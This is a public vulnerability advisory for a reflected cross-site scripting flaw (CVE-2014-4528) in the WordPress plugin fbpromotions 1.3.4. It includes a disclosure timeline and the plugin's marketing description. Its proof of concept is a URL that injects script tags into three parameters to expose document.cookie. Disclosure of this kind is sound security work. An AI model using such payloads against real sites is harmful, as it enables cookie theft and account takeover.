wp-plugin : fbpromotions – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : fbpromotions

 

Effected Version : 1.3.4 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Prajal Kulkarni

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 

PoC:
http://localhost/wordpress/wp-content/wp-plugs/fbpromotions/admin/swarm-settings.php?promo_type=promo_type%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&fb_edit_action=fb_edit_action%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&promo_id=promo_id%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-21

 
Plugin Status : Closed
 
Public Disclosure : May 28, 2014
 
CVE Number : CVE-2014-4528

 
Plugin Description :
 
Bugs Go Viral is a professional-grade product that allows you to administer your own registered Facebook application and execute fully-branded promotions that:

* give you absolute control over promotion branding and visuals,
* take place within Facebook and do not direct participants to a 3rd party site,
* increase your daily/weekly/monthly active users,
* grow and engage your fan base,
* are compliant with Facebook Promotion Guidelines.

= Promotional models include =
* Sweepstakes- an "enter to win" promotion.
* The Buzz- photo, video, or story contest in which fans upload an entry and ask their friends to vote.
* The Swarm- a group coupon, "tipping point" promotion (coming soon).
* TalkBack- upload up to 10 items (photo, video, or text) and ask fans to comment/rate each one (coming soon).
* Fan Faves- upload up to 10 items (photo, video, or text) and ask fans to vote for their favorite (coming soon).

= Features common to all promo types =
* Photoshop templates to help you design, layout, and brand your promotion.
* Built-in fan gate- users must "like" your page to participate.
* Built-in privacy standards- users control what goes to their wall and when- these promotions are purely word-of-mouth generated.  NO SPAM posts to participants' wall!
* Automatic notifications for participants and fan page admin when promo milestones are reached.
* Built-in winner selection.
* Influence rating of participants based on activity- know who your influencers are!
* Ability to sponsor or cross-promote.

= Required Skills =
Bugs Go Viral is a professional-grade product, meaning certain skills are required in order to effectively use the software. At a minimum, you should be able to:

* install Wordpress,
* manually upload (FTP) and activate a plugin,
* follow instructions (provided) to create a Facebook application.
* build/brand your promotion in Photoshop (template provided),
* filling out a web form (via Wordpress) to configure your promotion,
* adding the application to your Facebook page.

If any of the above steps frighten you, please [__contact us__](http://bugsgoviral.com/contact/)
and we will walk you through it or refer you to someone that can.

= Pricing and Activation =
Downloading, installing, designing, and configuring this software and promotions is free of charge. Activating and launching promotions live on Facebook requires a fee. Bugs Go Viral charges a per-day fee for each promotion, with discounts for longer runtimes.

Agencies and such may receive an additional 15% discount. Bugs Go Viral is a professional grade product built to be an alternative to building an application and/or promotion from scratch. Your Bugs Go Viral account dashboard will allow you to sort and manage promotions on behalf of your clients.

To get an estimate for your particular promotion, please visit [__our site__](http://bugsgoviral.com/software/pricing/) and generate an instant estimate.

Leave a Reply

Your email address will not be published. Required fields are marked *